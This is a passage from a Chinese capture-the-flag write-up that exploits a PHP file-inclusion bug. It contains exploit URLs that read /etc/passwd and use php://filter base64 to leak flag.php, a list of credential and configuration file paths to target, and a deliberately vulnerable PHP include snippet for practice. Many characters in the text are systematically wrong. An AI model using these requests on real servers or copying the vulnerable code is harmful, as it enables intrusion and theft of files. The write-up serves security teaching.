<form action="thankyou.php"> <label for="fname">First Name</label> <input type="text" id="fname" name="firstname" placeholder="Your name.."> <label for="lname">Last Name</label> <input type="text" id="lname" name="lastname" placeholder="Your last name.."> <label for="country">Country</label> <select id="country" name="country"> <option value="australia">Australia</option> <option value="britain">Britain</option> <option value="canada">Canada</option> <option value="usa">USA</option> <option value="other">Other</option> </select> <label for="subject">Subject</label> <textarea id="subject" name="subject" placeholder="Write something.." style="height:200px"></textarea> <input type="submit" value="Submit"> </form>
2.解題思路
這道題在contact.php頁面有表單提交的選項,提交至thankyou.php頁面,經過URL參數及題目提示文件包含,咱們嘗試往文件包含漏洞滲透。
什麼是文件包含漏洞呢?
經過PHP函數引入文件時,傳入的文件名沒有通過合理的驗證,從而操做了預想以外的文件,就可能致使意外的文件泄漏甚至惡意代碼注入。PHP中常見的文件包含函數有如下四種:include()、require()、include_once()、require()_once()。
(1) 首先,咱們提交正常的信息,看看反饋結果。
- http://218.197.154.9:10017/thankyou.php?
- firstname=eastmount&lastname=csdn&country=australia&subject=123456
反饋結果以下圖所示:
(2) 經過參數file讀取信息,驗證該參數可用。
- http://218.197.154.9:10017/thankyou.php?file=/etc/passwd
Linux獲取信息經常使用方法:
- /etc/passwd //帳戶信息
- /etc/shadow //帳戶密碼文件
- /usr/local/app/apache2/conf/httpd.conf //Apache2默認配置文件
- /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虛擬網站配置
- /usr/local/app/php5/lib/php.ini //PHP相關配置
- /etc/httpd/conf/httpd.conf //Apache配置文件
- /etc/my.conf //mysql配置文件
嘗試file參數其餘方式獲取信息,但提示include()沒有該目錄。
- thankyou.php?file=…/…/…/…/…/…/…/…/…/var/log/apache/error.log
- thankyou.php?file=…\phpinfo.php
- thankyou.php?file=Http://127.0.0.1/phpinfo.php
(3) 利用php://filter獲取指定文件源碼。
當php://filter與包含函數結合時,php://filter流會被看成php文件執行。因此咱們通常對其進行編碼,讓其不執行,從而致使任意文件讀取。
- http://218.197.154.9:10017/thankyou.php?file=php://filter/resource=flag.php
提示警告信息「Warning: include(): unable to locate filter 「resource=flag.php」 in /var/www/html/thankyou.php on line 44」。
(4) 直接讀flag.php文件大多數狀況會沒法顯示信息在瀏覽器頁面上,因此須要將文件內容進行base64編碼後顯示在瀏覽器上,再自行解碼。
- http://218.197.154.9:10017/thankyou.php?
- file=php://filter/read=convert.base64-encode/resource=flag.php
(5) 在線base64解密,網址:https://tool.oschina.net/encrypt?type=3
- flag=whuctf{N0w_y0u_kn0w_file_inclusion}
題目+實戰總結:
- 文件包含漏洞
- 利用php://filter獲取指定文件源碼
- 將文件內容進行base64編碼後顯示在瀏覽器上,再自行解碼
你們能夠在本地利用下列代碼進行實驗。
<meta charset="utf8"> <?php error_reporting(0); $file = $_GET["file"]; if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){ exit('hacker!'); } if($file){ include($file); }else{ echo '<a href="?file=flag.php">tips</a>'; } ?>
推薦及參考文章:
- (強推)CTF中文件包含漏洞總結 - LetheSec
- 文件包含漏洞實例 - Agan兄
- [Pentester Lab]PHP Include And Post Exploitation - ch_fu
- 2020_WHUCTF_Writeup - Ly-sec-l師傅
- WHUCTF2020 Writeup - 52hertz師傅
- 武漢大學CTF - peiqi師傅
- Vulnhub DC-5靶機滲透
五.總結
寫到這裏,這篇文章就介紹完畢,但願對您有所幫助。學安全近一年,認識了不少安全大佬和朋友,但願你們一塊兒進步。這篇文章中若是存在一些不足,還請海涵。做者做爲網絡安全初學者的慢慢成長路吧!但願將來能更透徹撰寫相關文章。同時很是感謝參考文獻中的安全大佬們的文章分享,感謝師傅、師兄師弟、師姐師妹們的教導,深知本身很菜,得努力前行。最後仍是那句話,人生路上,好好享受陪伴家人的日子,那纔是最幸福的事情,愛你~
歡迎你們討論,是否以爲這系列文章幫助到您!任何建議均可以評論告知讀者,共勉。
(By:Eastmount 2020-05-29 下午6點寫於貴陽 http://blog.csdn.net/eastmount/ )